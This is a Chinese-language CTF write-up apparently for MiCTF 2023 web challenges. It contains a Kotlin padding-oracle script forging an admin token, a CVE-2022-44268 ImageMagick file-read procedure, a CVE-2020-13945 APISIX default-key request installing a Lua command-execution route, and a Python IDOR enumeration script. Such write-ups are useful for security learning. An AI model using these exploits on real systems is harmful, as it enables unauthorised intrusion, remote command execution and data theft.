上来就能看到源码,是一个代码审计题目。直接拿代码的关键词谷歌,发现是CBC翻转字节攻击的方法。找到一篇博客里面有POC。https://chybeta.github.io/2017/11/18/LCTF-2017-Simple-blog-writeup/

参考里面的代码,实现了一版Java版本的,开始爆破,几分钟救出来了。。。(调代码调了几个小时。。。

package com.sumygg.mictf2023.web_29

import okhttp3.MediaType.Companion.toMediaType
import okhttp3.OkHttpClient
import okhttp3.Request
import okhttp3.RequestBody.Companion.toRequestBody
import org.apache.commons.codec.binary.Base64


val url = "https://decrypt-ctfd.dun.mi.com/index.php?run=1"
val N = 16
var client = OkHttpClient()
val casCookie = "MIDUN_COOKIE"

fun injectToken(token: String): String {
    val body = "{}".toRequestBody("application/json".toMediaType())
    val request = Request.Builder()
        .url(url)
        .header("Cookie", "${casCookie}PHPSESSID=$phpsession;token=$token")
        .post(body)
        .build()
    val response = client.newCall(request).execute()
    val str = response.body?.string() ?: "Err!empty body"
//    println(str)
    return str
}

fun xor(a: String, b: String): String {
    return a.indices.map { (a[it].code xor b[it % b.length].code).toChar() }.joinToString("")
}

fun pad(str: String, n: Int): String {
    val l = str.length
    if (l != n) {
        return str + ((n - l).toChar().toString().repeat(n - l))

    }
    return str
}

fun paddingOracle(n: Int): String {
    var get = ""
    for (i in 1 until n + 1) {
        for (j in 0 until 256) {
            val padding = xor(get, i.toChar().toString().repeat(i - 1))
            val c = Char(0).toString().repeat(16 - i) + j.toChar() + padding
            val result = injectToken(String(Base64.encodeBase64(c.toByteArray())))
            if ("Err!" !in result) {
                get = (j xor i).toChar() + get
                break
            }
        }
    }
    return get
}

var phpsession = "399476c1af05f00d22d4e318db0ef2a7"
var originToken = "eXlQSmJmdXc2NzI0SmpodQ=="
var token = String(Base64.decodeBase64(originToken))

fun getSessionAndToken() {
    val body = "{}".toRequestBody("application/json".toMediaType())
    val request = Request.Builder()
        .url(url)
        .header("Cookie", "${casCookie}foo=bar")
        .post(body)
        .build()
    val response = client.newCall(request).execute()
    val responseCookie = response.headers("Set-Cookie")
    val cookies = HashMap<String, String>()
    for (setCookie in responseCookie) {
        println(setCookie)
        val match = "([^=]+)=([^\\;]+);?.*".toPattern().matcher(setCookie)
        if (match.matches()) {
            cookies[match.group(1)] = match.group(2)
        }
    }
    phpsession = "${cookies["PHPSESSID"]}"
    originToken = "${cookies["token"]}".replace("%3D", "=")
    token = String(Base64.decodeBase64(originToken))
}

fun main() {
    while (true) {
//        getSessionAndToken()
        println(phpsession)
        println(originToken)
        val middle1 = paddingOracle(N)
        println(middle1)
        println(middle1.length)
        if (middle1.length + 1 == 16) {
            for (i in 0 until 256) {
                val middle = i.toChar() + middle1
                println("token:${token}")
                println("middle:${middle}")
                val plaintext = xor(middle, token)
                println("plaintext:${plaintext}")
                val des = pad("admin", N)
                var tmp = ""
                for (j in 0 until 16) {
                    tmp += (token[j].code xor plaintext[j].code xor des[j].code).toChar()
                }
                val encodeTmp = String(Base64.encodeBase64(tmp.toByteArray()))
                println("tmp:${encodeTmp}")
                val result = injectToken(encodeTmp)
                println(result)
                println()
            }
        }
    }
}

result

web-30 魔法再现

去年有两个这样的题目,今年又来了一个。猜测是ImageMagick相关的漏洞。

先看现象,上传一个图片文件(限定了几种格式),会转成png文件,然后图片宽高被调整到50x50。页面中也出现了flag{******}字样,目标明确了,就是想办法读取index.php文件里的flag。

然后开始找imagemagick的相关漏洞

================找了好几天的分割线=================

偶然间发现了2022年新的漏洞CVE-2022-44268远程文件泄露漏洞。具体漏洞内容就不详述了。下面说利用过程。

  1. 首先准备一个空白的png用于上传。
89504E47 0D0A1A0A 0000000D 49484452 00000001 00000001 01000000 00376EF9 24000000 0A494441 54789C63 68000000 82008177 CD72B600 00000049 454E44AE 426082
  1. 给png的exif写入profile和文件路径,用于触发文件读取。
brew install pngcrush
pngcrush -text a "profile" "index.php" pngin.png

profile是exif的属性名,index.php是读取的文件名。 3. 将文件上传到网站,把处理后的文件下载下来。 4. 解析处理后文件的数据

brew install exif
exiftool 645f4aeaa8285.png -b

exif-tool 5. 把这段代码用hex解码,获取文件内容,从中可以找到flag。(注意开头的862是无用的,不要跟后面的在一起解码。) result

web-31 密钥,密钥,不能默认

观察端口9080和返回的header-server数据,判断是 Apache APISIX,通过搜索发现有个默认密钥漏洞 CVE-2020-13945。构造请求,添加任意命令执行的路由。

POST /apisix/admin/routes HTTP/1.1
Host: 10.167.32.15:9080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Connection: close
Content-Length: 415

{
    "uri": "/hello/sumy.html",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

然后访问执行命令,获取目录内容,进而得到flag

http://10.167.32.15:9080/hello/sumy.html?cmd=ls

web-32 Actuator 404

这个题知道是找actuator的端点,直接访问是返回404。猜测缺少一个路径前缀。扫了所有3位字符的组合路径/aaa/actuator/env没发现有内容。。。

==================卡了很久的分割线=================

放出了hint:/xiaomi/management/

拼接路径/xiaomi/management/actuator/env找到了端点。然后就是各种翻找,在/xiaomi/management/actuator/httptrace发现了一个奇怪的地址。/xiaomi/ctf/api/v1/userInfo?id=1

遍历id,在第999个ID发现了flag。

import requests

def requestUserInfo(id):
    url = "http://10.167.96.4:8080/xiaomi/ctf/api/v1/userInfo?id={}".format(id)

    payload = {}
    headers = {
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
        'Cache-Control': 'no-cache',
        'Connection': 'keep-alive',
        'Pragma': 'no-cache',
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36'
    }

    response = requests.request("GET", url, headers=headers, data=payload)

    print(id)
    print(response.json())

for i in range(600, 1000):
    requestUserInfo(i)

result